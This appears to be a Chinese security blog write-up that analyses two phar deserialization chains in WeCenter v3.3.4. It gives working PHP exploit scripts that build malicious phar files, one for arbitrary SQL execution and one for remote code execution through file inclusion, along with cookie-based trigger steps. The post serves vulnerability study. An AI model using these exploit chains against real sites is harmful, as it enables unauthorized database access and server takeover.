zoukankan      html  css  js  c++  java
  • WeCenter v3.3.4 多个前台反序列化漏洞挖掘(学习)

    第一个方式:反序列化挖掘任意SQL语句执行

    先 system/aws_model.inc.php 文件中 _shutdown_query 为可控点,并且query直接进行SQL语句,这里可以直接想到尝试利用反序列化进行利用

            public function __destruct()
    	{
    		$this->master();
    
    		foreach ($this->_shutdown_query AS $key => $query) // _shutdown_query可控点
    		{
    			$this->query($query); //无过滤进行执行SQL语句
    		}
    	}
    

    寻找phar反序列化触发的函数

    models/account.php

    <?php
    public function associate_remote_avatar($uid, $headimgurl){// 需要寻找$headimgurl可控的地方
        if (!$headimgurl){
            return false;
        }
    
        if (!$user_info = $this->get_user_info_by_uid($uid)){
            return false;
        }
    
        if ($user_info['avatar_file']){
            return false;
        }
    
        if (!$avatar_stream = file_get_contents($headimgurl)){ //这个地方能够进行触发phar反序列化
            return false;
        }
        ...
    

    app/account/ajax.php 中 调用了associate_remote_avatar函数

    public function synch_img_action(){
        $users=$this->model('account')->fetch_all('users','is_del=0 and ISNULL(avatar_file)','',1000);
        foreach ($users as $key => $value) {
            $wxuser=$this->model('account')->fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL'); // 在users_weixin表中进行取出,条件是:函数将没有头像并且存在headimgurl字段的用户
            if($wxuser){
                $this->model('account')->associate_remote_avatar($wxuser['uid'],$wxuser['headimgurl']);
            }
        }
    }
    

    寻找关于users_weixin的数据库的插入操作

    models/openid/weixin/weixin.php 中调用了 bind_account函数,对用户的信息进行写入users_weixin中

    <?php
    public function bind_account($access_user, $access_token, $uid, $is_ajax = false){
        if (! $access_user['nickname']){
            if ($is_ajax){
                H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('与微信通信出错, 请重新登录')));
            }else{
                H::redirect_msg(AWS_APP::lang()->_t('与微信通信出错, 请重新登录'));
            }
        }
    
        if ($openid_info = $this->get_user_info_by_uid($uid)){
            if ($openid_info['opendid'] != $access_user['openid']) {
                if ($is_ajax){
                    H::ajax_json_output(AWS_APP::RSM(null, -1, AWS_APP::lang()->_t('微信账号已经被其他账号绑定')));
                }else{
                    H::redirect_msg(AWS_APP::lang()->_t('微信账号已经被其他账号绑定'));
                }
            }
            return true;
        }
    
        $this->insert('users_weixin', array(
            'uid' => intval($uid),
            'openid' => $access_token['openid'],
            'expires_in' => (time() + $access_token['expires_in']),
            'access_token' => $access_token['access_token'],
            'refresh_token' => $access_token['refresh_token'],
            'scope' => $access_token['scope'],
            'headimgurl' => $access_user['headimgurl'],
            'nickname' => $access_user['nickname'],
            'sex' => $access_user['sex'],
            'province' => $access_user['province'],
            'city' => $access_user['city'],
            'country' => $access_user['country'],
            'add_time' => time()
        ));
        return true;
    }
    

    全局搜索 bind_account 函数的调用

    app/m/weixin.php

    <?php
    public function binding_action(){
        if ($_COOKIE[G_COOKIE_PREFIX . '_WXConnect']){
                $WXConnect = json_decode($_COOKIE[G_COOKIE_PREFIX . '_WXConnect'], true); // _WXConnect是Cookie中进行的,那么_WXConnect为可控 导致 $WXConnect 同样可控!
        }
    
        if ($WXConnect['access_token']['openid']){
            $this->model('openid_weixin_weixin')->bind_account($WXConnect['access_user'], $WXConnect['access_token'], $this->user_id); // 这里进行了调用
    
            HTTP::set_cookie('_WXConnect', '', null, '/', null, false, true);
    
            if ($_GET['redirect']){
                HTTP::redirect(base64_decode($_GET['redirect']));
            }else{
                H::redirect_msg(AWS_APP::lang()->_t('绑定微信成功'), '/m/');
            }
        }else{
            H::redirect_msg('授权失败, 请返回重新操作, URI: ' . $_SERVER['REQUEST_URI']);
        }
    }
    

    漏洞EXP:

    <?php
    class AWS_MODEL{
            private $_shutdown_query = array();
    
            public function __construct(){
                $this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
            }
    }
    $a = new AWS_MODEL;
    $phar = new Phar("1.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."__HALT_COMPILER();");
    $phar->setMetadata($a);
    $phar->addFromString("test.txt","123");
    $phar->stopBuffering();
    ?>
    

    复现:

    1、首先先上传phar格式的gif文件

    2、然后设置指定的 wys__WXConnect Cookie,进行绑定信息 访问`/?/m/weixin/binding/

    $arr = array();
    $arr['access_token'] = array('openid' => '3');
    $arr['access_user'] = array();
    $arr['access_user']['openid'] = 3;
    $arr['access_user']['nickname'] = 'admin';
    $arr['access_user']['headimgurl'] = 'phar://uploads/question/20200413/07b79296630214ae808f5f888da82fff.gif';
    echo json_encode($arr);
    

    3、最后再访问/?/account/ajax/synch_img/ 来触发phar反序列化


    第二个方式:反序列化挖掘前台RCE

    全局搜索function __toString( 尝试找到可利用的点,system/Savant3.php中

    跟进 getOutput 方法

    继续跟fetch方法

    跟到 template 方法中

    跟进findFile方法中,发现$path . $file两个变量进行了拼接,并且如果文件存在的话 则进行返回

    最后拼接的内容 返回到 fetch 方法中,进行文件包含

    这里可以进行控制的 __config[$type . '_path'] __config['template'] 两个属性

    那么就是如果能再找到触发该类Savant3中的__toString方法的话 那么就可以进行任意代码执行了

    继续全局搜索function __destruct( 是否存在触发任意类的__toString条件

    system/Zend/Mail/Protocol/Imap.php 中 存在

    class Zend_Mail_Protocol_Imap
    {
        ........
        public function __destruct()
        {
            $this->logout();
        }
        ........
    }
    

    一直跟 发现 sendRequest方法进行了拼接字符串,从而导致可以进行__toString触发,++操作符对对象类型无影响,这里的话 $this->_tagCount 能够控制!

    漏洞EXP:

    <?php
    class Savant3{
        protected $__config = array();
        function __construct(){
            $this->__config['template'] = '81f8ed3cbc7fe76fc7b18e28108316b9.jpg'; //尝试被包含的上传文件
            $this->__config['template_path'] = array("/Applications/MAMP/htdocs/test/wecenter/uploads/question/20200122/"); //要被包含的路径 二者进行拼接
        }
    }
    
    class Zend_Mail_Protocol_Imap{
        protected $_socket;
        protected $_tagCount;
        function __construct()
        {
            $this->_socket = 'a';
            $this->_tagCount = new Savant3();
        }
    }
    $obj = new Zend_Mail_Protocol_Imap();
    $filename = "exp.phar";
    $phar=new Phar($filename);
    $phar->startBuffering();
    $phar->setMetadata($obj);
    $phar->addFromString("a","b");
    $phar->stopBuffering();
    ?>
    

    phar触发点跟上面还是一样的!


    另一处触发Savant3类的__toString的方法,跟一次酒馆师傅的,同样是字符串拼接触发的,他文章中还有一处是自己挖的类似的RCE触发,就不写了

    这里就记录一处POP链

    这里同样是搜索全局function __destruct(

    system/Zend/Mail/Transport/Smtp.php 文件中的 __destruct

    还有一处同样也是,参考文章:https://www.cnblogs.com/xiaozhiru/p/12345450.html

    总结:现在跟起来挺轻松理解的,自己尝试挖起来还需要耐心观察

    参考文章:https://xz.aliyun.com/t/7077
    参考文章:http://www.yulegeyu.com/2020/01/22/WECENTER-反序列任意文件包含利用链/

  • 相关阅读:
    C# Arrays
    C# 类 (12)
    C# 类 (11)
    C# 类 (10)
    常用的HDFS操作
    Java StringTokenizer 类使用方法
    常用HBase操作
    常用Linux命令
    彻底关闭Windows10的更新
    如何将百度坐标转换为国家2000(或WGS84)坐标系?
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/12640165.html
Copyright © 2011-2022 走看看